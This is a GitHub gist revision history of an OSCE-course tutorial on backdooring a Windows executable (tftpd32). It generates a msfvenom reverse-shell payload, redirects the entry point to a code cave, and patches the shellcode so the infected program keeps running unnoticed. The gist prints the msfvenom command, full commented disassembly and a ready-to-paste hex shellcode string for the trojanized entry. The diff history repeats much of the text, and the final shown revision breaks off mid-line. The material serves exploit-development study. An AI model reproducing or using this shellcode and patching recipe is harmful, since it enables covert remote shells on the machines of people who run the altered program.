Last active
          January 16, 2025 19:33 
        
      - 
      
- 
        Save mgeeky/2193d0416e3c4ce49996ee6616e0bf0b to your computer and use it in GitHub Desktop. 
Revisions
- 
        mgeeky revised this gist Mar 15, 2017 . 1 changed file with 3 additions and 3 deletions.There are no files selected for viewingThis file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -20,7 +20,7 @@ This is a document explaining how to locate `WaitForSingleObject(..., INFINITE)` ### Step 1: Generating a proper payload ----------------------------------------------------------------------------- Firstly, we are about to generate proper payload using **msfvenom**. The key here is to use **EXITFUNC=none** option in order to let the payload to proceed with code flow further, without invoking `ExitProcess` / `ExitThread`. The payload selected here will be *windows/shell_reverse_tcp* althougth there should be no issue with using *windows/meterpreter/reverse_tcp* as well. @@ -42,7 +42,7 @@ We then take this payload and copy it into clipboard. ### Step 2: Preparing target executable. ----------------------------------------------------------------------------- I have myself always been more comfortable with overwriting `_IMAGE_OPTIONAL_HEADER.AddressOfEntryPoint` field rather than modifying first bytes of the OEP (_Original Entry Point_), but this does not make any difference for explaining patching process of the payload. As a matter of fact, modified `AddressOfEntryPoint` pointing at the last section in the PE file, which is relatively small might trigger some flags in Antivirus products (or may be more suspicious than using _Borrowed bytes_ technique as discussed in CTP Module #3). At the end we want to get into our code cave / injected new section or in other means our payload. If one goes for _borrowed bytes_ technique (meaning, by overwriting bytes from the OEP, then pasting those original bytes at the end of the custom payload before jumping back) those bytes will have to be pasted at the end of our payload, before the actual jump, and after `POPAD` / registers restoration. @@ -57,7 +57,7 @@ From now on I assume my code cave starts at **0x446000** (that is: *ImageBase* + ### Step 3: Embedding msfvenom payload to the code cave ----------------------------------------------------------------------------- At the end of the day, we need to have our code cave follow such layout: 1. Some nops (nop sled) 2. `PUSHAD` 
- 
        mgeeky revised this gist Mar 15, 2017 . 1 changed file with 36 additions and 2 deletions.There are no files selected for viewingThis file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,7 +1,24 @@ ## Looking for `WaitForSingleObject` call within modern **msfvenom** generated payload. ----------------------------------------------------------------------------- **Abstract** This is a document explaining how to locate `WaitForSingleObject(..., INFINITE)` within **msfvenom's** (4.12.23-dev) generated payload and how to fix the payload's glitches. It goes through the analysis of a **windows/shell_reverse_tcp** payload, touching issues like _stack alignment_, _WaitForSingleObject_ locating & patching. It has been written when I realised there are many topics on the Offensive-Security OSCE/CTP forums touching problem of finding this particular Windows API. Since RE is one of my stronger FU's I decided to write down my explanation of the subject. **Contents:** 1. Generating a proper payload 2. Preparing target executable. 3. Embedding msfvenom payload to the code cave 4. Explaining what the payload is all about 5. Patching the Payload to make it work as needed 6. Final payload with comments + hex string ### Step 1: Generating a proper payload ----------------------------------------------------------------------------- Firstly, we are about to generate proper payload using **msfvenom**. The key here is to use **EXITFUNC=none** option in order to let the payload to proceed with code flow further, without invoking ExitProcess / ExitThread. @@ -21,10 +38,14 @@ fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d We then take this payload and copy it into clipboard. ### Step 2: Preparing target executable. ----------------------------------------------------------------------------- I have myself always been more comfortable with overwriting `_IMAGE_OPTIONAL_HEADER.AddressOfEntryPoint` field rather than modifying first bytes of the OEP (_Original Entry Point_), but this does not make any difference. At the end we want to get into our code cave / injected new section or in other means our payload. If one goes for _borrowed bytes_ technique (meaning, by overwriting bytes from the OEP, then pasting those original bytes at the end of the custom payload before jumping back) those bytes will have to be pasted at the end of our payload, before the actual jump, and after `POPAD` / registers restoration. So, I have changed (with having noted previous, original value of that field) *AddressOfEntryPoint* field into address of my new section (**0x00446000**), then inserted around let's say 600 NOPs consecutively. My section looks the following: @@ -34,6 +55,7 @@ From now on I assume my code cave starts at **0x446000** (that is: *ImageBase* + ### Step 3: Embedding msfvenom payload to the code cave ----------------------------------------------------------------------------- At the end of the day, we need to have our code cave look like this: @@ -47,12 +69,14 @@ At the end of the day, we need to have our code cave look like this: 8. `ADD ESP, 0x1A4` - Stack alignment, when payload couldn't connect 9. `POPFD` 10. `POPAD` 11. (OPTIONAL) if one borrowed bytes from OEP, instead of modifying AddressOfEntryPoint - those bytes has to be pasted here 12. `JMP OEP` - where OEP is a PREVIOUS, original value of the field **AddressOfEntryPoint** that we clobbered. The final payload has been pasted at the end of this gist. ### Step 4: Explaining what the payload is all about ----------------------------------------------------------------------------- Here's the explanation of the **windows/shell_reverse_tcp** payload in particular. @@ -97,6 +121,7 @@ Having discussed how system imports are being invoked - here's the list of the A ### Step 5: Patching the Payload to make it work as needed ----------------------------------------------------------------------------- **A)** Modifying the -1 (INFINITE) to 0 wait parameter. @@ -203,6 +228,7 @@ Having these two patches applied, we save the binary and this is all. ### Step 6: Final payload with comments ----------------------------------------------------------------------------- ``` 00446000 90 nop ; MODULE DETOURED ENTRY POINT. @@ -475,4 +501,12 @@ Having these two patches applied, we save the binary and this is all. 004461C4 90 nop ``` Or in hex-string: ``` 9090609c9090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd5505050504050405068ea0fdfe0ffd5976a0568c0a86437680200115c89e66a1056576899a57461ffd585c0740cff4e0875eceb7c909090ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e0905646ff306808871d60ffd5bbaac5e25d68a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5909090909090909090909090909090909090909090eb0781c4a401000090909d61e99ab1fcff90 ``` Remember to add a final **JMP OEP** instruction. Good luck & Have fun. 
- 
        mgeeky revised this gist Mar 15, 2017 . 1 changed file with 35 additions and 287 deletions.There are no files selected for viewingThis file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -27,294 +27,29 @@ I have myself always been more comfortable with overwriting `_IMAGE_OPTIONAL_HEA So, I have changed (with having noted previous, original value of that field) *AddressOfEntryPoint* field into address of my new section (**0x00446000**), then inserted around let's say 600 NOPs consecutively. My section looks the following: `.NewSec, VOffset: 0x46000, VSize: 0x1000, ROffset: 0x2D000, RSize: 0x1000, Flags: 0xE000000E0` From now on I assume my code cave starts at **0x446000** (that is: *ImageBase* + *VOffset* ). ### Step 3: Embedding msfvenom payload to the code cave At the end of the day, we need to have our code cave look like this: 1. Some nops (nop sled) 2. `PUSHAD` 3. `PUSHFD` 4. Some nops 5. MSFVENOM PAYLOAD, unmodified at the moment anyhow. 6. Some nops 7. JMP to point 9. 8. `ADD ESP, 0x1A4` - Stack alignment, when payload couldn't connect 9. `POPFD` 10. `POPAD` 11. `JMP OEP` - where OEP is a PREVIOUS, original value of the field **AddressOfEntryPoint** that we clobbered. The final payload has been pasted at the end of this gist. ### Step 4: Explaining what the payload is all about @@ -323,9 +58,10 @@ Here's the explanation of the **windows/shell_reverse_tcp** payload in particula 1. `ResolveImport(DWORD dwFunctionNameHash, DWORD dwLibraryNameHash, ...);` This is a function, located at the **0x00446060** (always this address will get passed via **EBP** register) that takes in a first argument a function name hash, then resolves it and calls with having supplied additional parameters passed originally to that routine: ``` ; Function start 00446060 60 pushad ; ResolveImport(dwHash, ...); 00446061 89E5 mov ebp, esp 00446063 31C0 xor eax, eax @@ -334,6 +70,7 @@ This is a function, located at the 0x00446060 (always this address will get pass 004460D7 5A pop edx 004460D8 51 push ecx 004460D9 - FFE0 jmp eax ; Call resolved import with supplied params ; Function end ``` That last `JMP eax` does actual function (import) call with supplied parameters, than it returns to the point where the `ResolveImport` function was called from, for instance: @@ -361,7 +98,7 @@ Having discussed how system imports are being invoked - here's the list of the A ### Step 5: Patching the Payload to make it work as needed **A)** Modifying the -1 (INFINITE) to 0 wait parameter. Take a look at the below snippet: @@ -394,7 +131,8 @@ This is the very place where the **ESI** which originally was **0x00000000** get 00446174 56 push esi ``` **B)** The final patch that shall be applied is what happens when the payload fails connecting with our Kali/Backtrack machine. Originally it would go as far as: ``` 00446130 74 0C je short tftpd32-.0044613E @@ -408,21 +146,31 @@ B) The final patch that shall be applied is what happens when the payload fails This **JE** (0x00446130) check would fail, resulting in decrementing **tryAgain** counter and when that counter hits a zero - the **JNZ** not kicks in, leading the payload straight to the `ExitProcess` which results in terminating our infected binary. No TFTPD window, sorry. To remedy premature infected binary termination, we have to patch **PUSH** instruction (to avoid messing with the stack when not needed) into a **JMP** that would lead to our stack aligning code as described in **Step 3** point **8** of the numbered list (remember that we need to jump over that point _7_ and land right into point _8_ ). Stack aligning is needed because when the payload terminates prematurly it does not have any chances of getting the stack into it's original position. I have calculated that in this very point we have to add **0x1A4** to the **ESP** to get it right. So we need a `add esp, 0x1a4` instruction right before the skipping jump. How did I calculated that? 1. Place brakepoint after the PUSHFD instruction (point 3. of previous number list) 2. Note the ESP value (ESP0) 3. Place breakpoint right in place of that PUSH at (0x00446137) 4. Note the ESP value (ESP1) 5. Calculate the difference (DIFF := ESP0 - ESP1) -> I've got 0x1A4. Unfortunately, since there is a jump shortly before: ``` 00446130 74 0C je short tftpd32-.0044613E ``` Leading into address that would get corrupted if we had applied the second patch _inline_ (that is in place of that **PUSH** instruction), the result would be an Access Violation. herefore we have to refine the strategy: 1. Place at the 0x00446137 JUMP instruction (right after the payload) but before our `POPFD` instruction. 2. At the address: 0x004461b3 place a JMP-over instruction that would let the program skip Stack aligning if it reaches that place normally, after connecting to our payload. (point nr. 7 of our previous list) 3. Then, at the 0x004461b5 we add stack aligning operation (add esp, 0x1a4) - (point nr. 8 of our previous list) and that's all, this is how it supposed to look like: ``` 
- 
        mgeeky revised this gist Mar 15, 2017 . 1 changed file with 347 additions and 12 deletions.There are no files selected for viewingThis file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -3,20 +3,20 @@ ### Step 1: Generating a proper payload Firstly, we are about to generate proper payload using **msfvenom**. The key here is to use **EXITFUNC=none** option in order to let the payload to proceed with code flow further, without invoking ExitProcess / ExitThread. The payload selected here will be *windows/shell_reverse_tcp* althougth there should be no issue with using *windows/meterpreter/reverse_tcp* as well. Here's the proper **msfvenom** invokation: ``` kali|16:53|~/osce/labs/vista # msfvenom -p windows/shell_reverse_tcp LHOST=192.168.100.XXX LPORT=4444 -f hex EXITFUNC=none No platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 324 bytes Final size of hex file: 648 bytes fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd5505050504050405068ea0fdfe0ffd5976a0568c0a86437680200115c89e66a1056576899a57461ffd585c0740cff4e0875ec68f0b5a256ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e04e5646ff306808871d60ffd5bbaac5e25d68a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5 ``` We then take this payload and copy it into clipboard. @@ -32,7 +32,7 @@ So, I have changed (with having noted previous, original value of that field) *A Ok. So we need to have our code cave look like this: 1. Some nops (nop sled) 2. `PUSHAD` 3. `PUSHFD` 4. Some nops @@ -235,7 +235,7 @@ Here's how this should look like: 00446132 FF4E 08 dec dword ptr ds:[esi+8] 00446135 ^ 75 EC jnz short tftpd32-.00446123 00446137 68 F0B5A256 push 56A2B5F0 0044613C FFD5 call ebp ; When connect fails: ExitProcess 0044613E 68 636D6400 push 646D63 00446143 89E3 mov ebx, esp 00446145 57 push edi @@ -270,7 +270,7 @@ Here's how this should look like: 00446176 FF30 push dword ptr ds:[eax] 00446178 68 08871D60 push 601D8708 0044617D FFD5 call ebp ; WaitForSingleObject(..., INFINITE) 0044617F BB AAC5E25D mov ebx, 5DE2C5AA 00446184 68 A695BD9D push 9DBD95A6 00446189 FFD5 call ebp 0044618B 3C 06 cmp al, 6 @@ -359,9 +359,11 @@ Having discussed how system imports are being invoked - here's the list of the A 6. If connect succeeds: `WaitForSingleObject(..., INFINITE)` ### Step 5: Patching the Payload to make it work as needed A) Modifying the -1 (INFINITE) to 0 wait parameter. Take a look at the below snippet: ``` 0044616A 68 79CC3F86 push 863FCC79 @@ -376,20 +378,353 @@ Here's the point we all interested at: 0044617F BB FE0E32EA mov ebx, EA320EFE ``` This is the place where after creating a CMD process the payload goes into awaiting for the process to exit. When this happens, the payload may proceed to it's **EXITFUNC**. Notice the most important sequence: ``` 00446173 4E dec esi 00446174 56 push esi ``` This is the very place where the **ESI** which originally was **0x00000000** gets decremented resulting in -1 (**0xffffffff**). In order to prevent having -1 we got to NOP out that `dec esi` instruction: ``` 00446173 4E nop ; PATCHED 00446174 56 push esi ``` B) The final patch that shall be applied is what happens when the payload fails connecting with our Kali/Backtrack machine. Originally it would go as far as: ``` 00446130 74 0C je short tftpd32-.0044613E 00446132 FF4E 08 dec dword ptr ds:[esi+8] 00446135 ^ 75 EC jnz short tftpd32-.00446123 00446137 68 F0B5A256 push 56A2B5F0 0044613C FFD5 call ebp ; Probably ExitProcess 0044613E 68 636D6400 push 646D63 00446143 89E3 mov ebx, esp ``` This **JE** (0x00446130) check would fail, resulting in decrementing **tryAgain** counter and when that counter hits a zero - the **JNZ** not kicks in, leading the payload straight to the `ExitProcess` which results in terminating our infected binary. No TFTPD window, sorry. To remedy this all we have to do is to patch **PUSH** instruction (to avoid messing with the stack when not needed) into a stack aligning instruction followed by **JMP** that would lead to our NOP Sled as described **Step 3** point **6** of the numbered list. Stack aligning is needed because when the payload terminates prematurly it does not have any chances of getting the stack into it's original position. I have calculated that in this very point we have to add **0x1A4** to the **ESP** to get it right. So we need a `add esp, 0x1a4` instruction right before the skipping jump. Unfortunately, since there is a: ``` 00446130 74 0C je short tftpd32-.0044613E ``` Leading right into address that would get corrupted if we had applied the second patch inline (in place of that **PUSH** instruction). The result would be an Access Violation. Therefore the strategy is: 1. Place at the 0x00446137 JUMP instruction right after the payload, but before our `POPFD` instruction. 2. At the address: 0x004461b3 place a JMP-over instruction that would let the program skip Stack aligning if it reaches that place normally, after connecting to our payload. 3. Then, at the 0x004461b5 we add stack aligning operation (add esp, 0x1a4) and that's all, this is how it should look like: ``` 0044612C FFD5 call ebp 0044612E 85C0 test eax, eax 00446130 74 0C je short tftpd32-.0044613E 00446132 FF4E 08 dec dword ptr ds:[esi+8] 00446135 ^ 75 EC jnz short tftpd32-.00446123 00446137 EB 7C jmp short tftpd32-.004461B5 ; PATCHED 00446139 90 nop ; PATCHED 0044613A 90 nop ; PATCHED 0044613B 90 nop ; PATCHED 0044613C FFD5 call ebp 0044613E 68 636D6400 push 646D63 00446143 89E3 mov ebx, esp 00446145 57 push edi ... 004461B3 /EB 07 jmp short tftpd32-.004461BC 004461B5 |81C4 A4010000 add esp, 1A4 004461BB |90 nop 004461BC \90 nop 004461BD 9D popfd 004461BE 61 popad 004461BF - E9 9AB1FCFF jmp tftpd32-.0041135E ``` Having these two patches applied, we save the binary and this is all. ### Step 6: Final payload with comments ``` 00446000 90 nop ; MODULE DETOURED ENTRY POINT. 00446001 90 nop 00446002 60 pushad 00446003 9C pushfd 00446004 90 nop 00446005 90 nop 00446006 90 nop 00446007 90 nop 00446008 90 nop 00446009 90 nop 0044600A 90 nop 0044600B 90 nop 0044600C 90 nop 0044600D 90 nop 0044600E 90 nop 0044600F 90 nop 00446010 90 nop 00446011 90 nop 00446012 90 nop 00446013 90 nop 00446014 90 nop 00446015 90 nop 00446016 90 nop 00446017 90 nop 00446018 90 nop 00446019 90 nop 0044601A 90 nop 0044601B 90 nop 0044601C 90 nop 0044601D 90 nop 0044601E 90 nop 0044601F 90 nop 00446020 90 nop 00446021 90 nop 00446022 90 nop 00446023 90 nop 00446024 90 nop 00446025 90 nop 00446026 90 nop 00446027 90 nop 00446028 90 nop 00446029 90 nop 0044602A 90 nop 0044602B 90 nop 0044602C 90 nop 0044602D 90 nop 0044602E 90 nop 0044602F 90 nop 00446030 90 nop 00446031 90 nop 00446032 90 nop 00446033 90 nop 00446034 90 nop 00446035 90 nop 00446036 90 nop 00446037 90 nop 00446038 90 nop 00446039 90 nop 0044603A 90 nop 0044603B 90 nop 0044603C 90 nop 0044603D 90 nop 0044603E 90 nop 0044603F 90 nop 00446040 90 nop 00446041 90 nop 00446042 90 nop 00446043 90 nop 00446044 90 nop 00446045 90 nop 00446046 90 nop 00446047 90 nop 00446048 90 nop 00446049 90 nop 0044604A 90 nop 0044604B 90 nop 0044604C 90 nop 0044604D 90 nop 0044604E 90 nop 0044604F 90 nop 00446050 90 nop 00446051 90 nop 00446052 90 nop 00446053 90 nop 00446054 90 nop 00446055 90 nop 00446056 90 nop 00446057 90 nop 00446058 90 nop 00446059 90 nop 0044605A FC cld 0044605B E8 82000000 call tftpd32-.004460E2 00446060 60 pushad ; ResolveImports(dwFuncNameHash, dwLibrNameHash, ...) 00446061 89E5 mov ebp, esp 00446063 31C0 xor eax, eax 00446065 64:8B50 30 mov edx, dword ptr fs:[eax+30] 00446069 8B52 0C mov edx, dword ptr ds:[edx+C] 0044606C 8B52 14 mov edx, dword ptr ds:[edx+14] 0044606F 8B72 28 mov esi, dword ptr ds:[edx+28] 00446072 0FB74A 26 movzx ecx, word ptr ds:[edx+26] 00446076 31FF xor edi, edi 00446078 AC lods byte ptr ds:[esi] 00446079 3C 61 cmp al, 61 0044607B 7C 02 jl short tftpd32-.0044607F 0044607D 2C 20 sub al, 20 0044607F C1CF 0D ror edi, 0D 00446082 01C7 add edi, eax 00446084 ^ E2 F2 loopd short tftpd32-.00446078 00446086 52 push edx 00446087 57 push edi 00446088 8B52 10 mov edx, dword ptr ds:[edx+10] 0044608B 8B4A 3C mov ecx, dword ptr ds:[edx+3C] 0044608E 8B4C11 78 mov ecx, dword ptr ds:[ecx+edx+> 00446092 E3 48 jecxz short tftpd32-.004460DC 00446094 01D1 add ecx, edx 00446096 51 push ecx 00446097 8B59 20 mov ebx, dword ptr ds:[ecx+20] 0044609A 01D3 add ebx, edx 0044609C 8B49 18 mov ecx, dword ptr ds:[ecx+18] 0044609F E3 3A jecxz short tftpd32-.004460DB 004460A1 49 dec ecx 004460A2 8B348B mov esi, dword ptr ds:[ebx+ecx*> 004460A5 01D6 add esi, edx 004460A7 31FF xor edi, edi 004460A9 AC lods byte ptr ds:[esi] 004460AA C1CF 0D ror edi, 0D 004460AD 01C7 add edi, eax 004460AF 38E0 cmp al, ah 004460B1 ^ 75 F6 jnz short tftpd32-.004460A9 004460B3 037D F8 add edi, dword ptr ss:[ebp-8] 004460B6 3B7D 24 cmp edi, dword ptr ss:[ebp+24] 004460B9 ^ 75 E4 jnz short tftpd32-.0044609F 004460BB 58 pop eax 004460BC 8B58 24 mov ebx, dword ptr ds:[eax+24] 004460BF 01D3 add ebx, edx 004460C1 66:8B0C4B mov cx, word ptr ds:[ebx+ecx*2] 004460C5 8B58 1C mov ebx, dword ptr ds:[eax+1C] 004460C8 01D3 add ebx, edx 004460CA 8B048B mov eax, dword ptr ds:[ebx+ecx*> 004460CD 01D0 add eax, edx 004460CF 894424 24 mov dword ptr ss:[esp+24], eax 004460D3 5B pop ebx 004460D4 5B pop ebx 004460D5 61 popad 004460D6 59 pop ecx 004460D7 5A pop edx 004460D8 51 push ecx 004460D9 FFE0 jmp eax ; Resolved import function call 004460DB 5F pop edi 004460DC 5F pop edi 004460DD 5A pop edx 004460DE 8B12 mov edx, dword ptr ds:[edx] 004460E0 ^ EB 8D jmp short tftpd32-.0044606F 004460E2 5D pop ebp 004460E3 68 33320000 push 3233 004460E8 68 7773325F push 5F327377 004460ED 54 push esp 004460EE 68 4C772607 push 726774C 004460F3 FFD5 call ebp ; LoadLibrary('ws2_32.dll'); 004460F5 B8 90010000 mov eax, 190 004460FA 29C4 sub esp, eax 004460FC 54 push esp 004460FD 50 push eax 004460FE 68 29806B00 push 6B8029 00446103 FFD5 call ebp ; WSAStartupA() 00446105 50 push eax 00446106 50 push eax 00446107 50 push eax 00446108 50 push eax 00446109 40 inc eax 0044610A 50 push eax 0044610B 40 inc eax 0044610C 50 push eax 0044610D 68 EA0FDFE0 push E0DF0FEA 00446112 FFD5 call ebp ; WSASocketA() 00446114 97 xchg eax, edi 00446115 6A 05 push 5 00446117 68 C0A86437 push 3764A8C0 0044611C 68 0200115C push 5C110002 00446121 89E6 mov esi, esp 00446123 6A 10 push 10 00446125 56 push esi 00446126 57 push edi 00446127 68 99A57461 push 6174A599 0044612C FFD5 call ebp ; connect() 0044612E 85C0 test eax, eax ; does connect succeeded? 00446130 74 0C je short tftpd32-.0044613E 00446132 FF4E 08 dec dword ptr ds:[esi+8] ; if not, try again, until counter not zero. 00446135 ^ 75 EC jnz short tftpd32-.00446123 00446137 EB 7C jmp short tftpd32-.004461B5 ; Could not connect, SKIP to stack align and 00446139 90 nop ; proceed further with infected binary. 0044613A 90 nop ; PATCHED 0044613B 90 nop ; PATCHED 0044613C FFD5 call ebp ; Here was an ExitProcess call 0044613E 68 636D6400 push 646D63 ; connect() succeeded, carry on. 00446143 89E3 mov ebx, esp 00446145 57 push edi 00446146 57 push edi 00446147 57 push edi 00446148 31F6 xor esi, esi 0044614A 6A 12 push 12 0044614C 59 pop ecx 0044614D 56 push esi 0044614E ^ E2 FD loopd short tftpd32-.0044614D 00446150 66:C74424 3C >mov word ptr ss:[esp+3C], 101 00446157 8D4424 10 lea eax, dword ptr ss:[esp+10] 0044615B C600 44 mov byte ptr ds:[eax], 44 0044615E 54 push esp 0044615F 50 push eax 00446160 56 push esi 00446161 56 push esi 00446162 56 push esi 00446163 46 inc esi 00446164 56 push esi 00446165 4E dec esi 00446166 56 push esi 00446167 56 push esi 00446168 53 push ebx 00446169 56 push esi 0044616A 68 79CC3F86 push 863FCC79 0044616F FFD5 call ebp ; CreateProcess(cmd) with redirected streams/handle 00446171 89E0 mov eax, esp 00446173 4E nop ; PATCHED, previous ESI decrementing (-1 -> INF) 00446174 56 push esi 00446175 46 inc esi 00446176 FF30 push dword ptr ds:[eax] 00446178 68 08871D60 push 601D8708 0044617D FFD5 call ebp ; WaitForSingleObject() 0044617F BB AAC5E25D mov ebx, 5DE2C5AA 00446184 68 A695BD9D push 9DBD95A6 00446189 FFD5 call ebp ; GetVersion() 0044618B 3C 06 cmp al, 6 0044618D 7C 0A jl short tftpd32-.00446199 0044618F 80FB E0 cmp bl, 0E0 00446192 75 05 jnz short tftpd32-.00446199 00446194 BB 4713726F mov ebx, 6F721347 00446199 6A 00 push 0 0044619B 53 push ebx 0044619C FFD5 call ebp ; GetLastError() 0044619E 90 nop ; Start of our trailing NOP Sled 0044619F 90 nop 004461A0 90 nop 004461A1 90 nop 004461A2 90 nop 004461A3 90 nop 004461A4 90 nop 004461A5 90 nop 004461A6 90 nop 004461A7 90 nop 004461A8 90 nop 004461A9 90 nop 004461AA 90 nop 004461AB 90 nop 004461AC 90 nop 004461AD 90 nop 004461AE 90 nop 004461AF 90 nop 004461B0 90 nop 004461B1 90 nop 004461B2 90 nop 004461B3 EB 07 jmp short tftpd32-.004461BC ; If we reached here, the Payload connected 004461B5 81C4 A4010000 add esp, 1A4 ; If we reached here, the Payload could not connect 004461BB 90 nop ; and therefore stack aligning is needed. 004461BC 90 nop 004461BD 9D popfd ; Restore original registers and flags values 004461BE 61 popad 004461BF - E9 9AB1FCFF jmp tftpd32-.0041135E ; Jump to Original Entry Point (OEP) 004461C4 90 nop ``` Remember to add a final **JMP OEP** instruction! 
- 
        mgeeky revised this gist Mar 14, 2017 . 1 changed file with 5 additions and 5 deletions.There are no files selected for viewingThis file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -33,14 +33,14 @@ So, I have changed (with having noted previous, original value of that field) *A Ok. So we need to have our code cave look like this: 1. Some nops 2. `PUSHAD` 3. `PUSHFD` 4. Some nops 5. MSFVENOM PAYLOAD, unmodified at the moment anyhow. 6. Some nops 7. `POPFD` 8. `POPAD` 9. `JMP OEP` - where OEP is a PREVIOUS, original value of the field **AddressOfEntryPoint** that we clobbered. Here's how this should look like: 
- 
        mgeeky created this gist Mar 14, 2017 .There are no files selected for viewingThis file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,395 @@ ## Looking for `WaitForSingleObject` call within modern **msfvenom** generated payload. ### Step 1: Generating a proper payload Firstly, we are about to generate proper payload using **msfvenom**. The key here is to use **EXITFUNC=none** option in order to let the payload to proceed with code flow further, without invoking ExitProcess / ExitThread. Alternative option could be **EXITFUNC=seh** . The payload selected here will be *windows/shell_reverse_tcp* althougth there should be no issue with using *windows/meterpreter/reverse_tcp* as well. Here's the proper **msfvenom** invokation: ``` kali|15:54|/var/www/html # msfvenom -p windows/shell_reverse_tcp LHOST=192.168.100.55 LPORT=4444 -f hex EXITFUNC=seh No platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 324 bytes Final size of hex file: 648 bytes fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd5505050504050405068ea0fdfe0ffd5976a0568c0a86437680200115c89e66a1056576899a57461ffd585c0740cff4e0875ec68f0b5a256ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e04e5646ff306808871d60ffd5bbfe0e32ea68a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5 ``` We then take this payload and copy it into clipboard. ### Step 2: Preparing target executable. I have myself always been more comfortable with overwriting `_IMAGE_OPTIONAL_HEADER.AddressOfEntryPoint` field rather than modifying first bytes of the OEP (_Original Entry Point_), but this does not make any difference. At the end we want to get into our code cave / injected new section or in other means our payload. So, I have changed (with having noted previous, original value of that field) *AddressOfEntryPoint* field into address of my new section (**0x00446000**), then inserted around let's say 600 NOPs consecutively. ### Step 3: Embedding msfvenom payload to the code cave Ok. So we need to have our code cave look like this: 1. Some nops 2. PUSHAD 3. PUSHFD 4. Some nops 5. MSFVENOM PAYLOAD, unmodified at the moment anyhow. 6. Some nops 7. POPFD 8. POPAD 9. JMP <OEP> - where OEP is a PREVIOUS, original value of the field **AddressOfEntryPoint** that we clobbered. Here's how this should look like: ``` 00446000 <ModuleEntryPoint> 90 nop 00446001 90 nop 00446002 60 pushad 00446003 9C pushfd 00446004 90 nop 00446005 90 nop 00446006 90 nop 00446007 90 nop 00446008 90 nop 00446009 90 nop 0044600A 90 nop 0044600B 90 nop 0044600C 90 nop 0044600D 90 nop 0044600E 90 nop 0044600F 90 nop 00446010 90 nop 00446011 90 nop 00446012 90 nop 00446013 90 nop 00446014 90 nop 00446015 90 nop 00446016 90 nop 00446017 90 nop 00446018 90 nop 00446019 90 nop 0044601A 90 nop 0044601B 90 nop 0044601C 90 nop 0044601D 90 nop 0044601E 90 nop 0044601F 90 nop 00446020 90 nop 00446021 90 nop 00446022 90 nop 00446023 90 nop 00446024 90 nop 00446025 90 nop 00446026 90 nop 00446027 90 nop 00446028 90 nop 00446029 90 nop 0044602A 90 nop 0044602B 90 nop 0044602C 90 nop 0044602D 90 nop 0044602E 90 nop 0044602F 90 nop 00446030 90 nop 00446031 90 nop 00446032 90 nop 00446033 90 nop 00446034 90 nop 00446035 90 nop 00446036 90 nop 00446037 90 nop 00446038 90 nop 00446039 90 nop 0044603A 90 nop 0044603B 90 nop 0044603C 90 nop 0044603D 90 nop 0044603E 90 nop 0044603F 90 nop 00446040 90 nop 00446041 90 nop 00446042 90 nop 00446043 90 nop 00446044 90 nop 00446045 90 nop 00446046 90 nop 00446047 90 nop 00446048 90 nop 00446049 90 nop 0044604A 90 nop 0044604B 90 nop 0044604C 90 nop 0044604D 90 nop 0044604E 90 nop 0044604F 90 nop 00446050 90 nop 00446051 90 nop 00446052 90 nop 00446053 90 nop 00446054 90 nop 00446055 90 nop 00446056 90 nop 00446057 90 nop 00446058 90 nop 00446059 90 nop 0044605A FC cld 0044605B E8 82000000 call tftpd32-.004460E2 00446060 60 pushad ; ResolveImport(dwHash, ...); 00446061 89E5 mov ebp, esp 00446063 31C0 xor eax, eax 00446065 64:8B50 30 mov edx, dword ptr 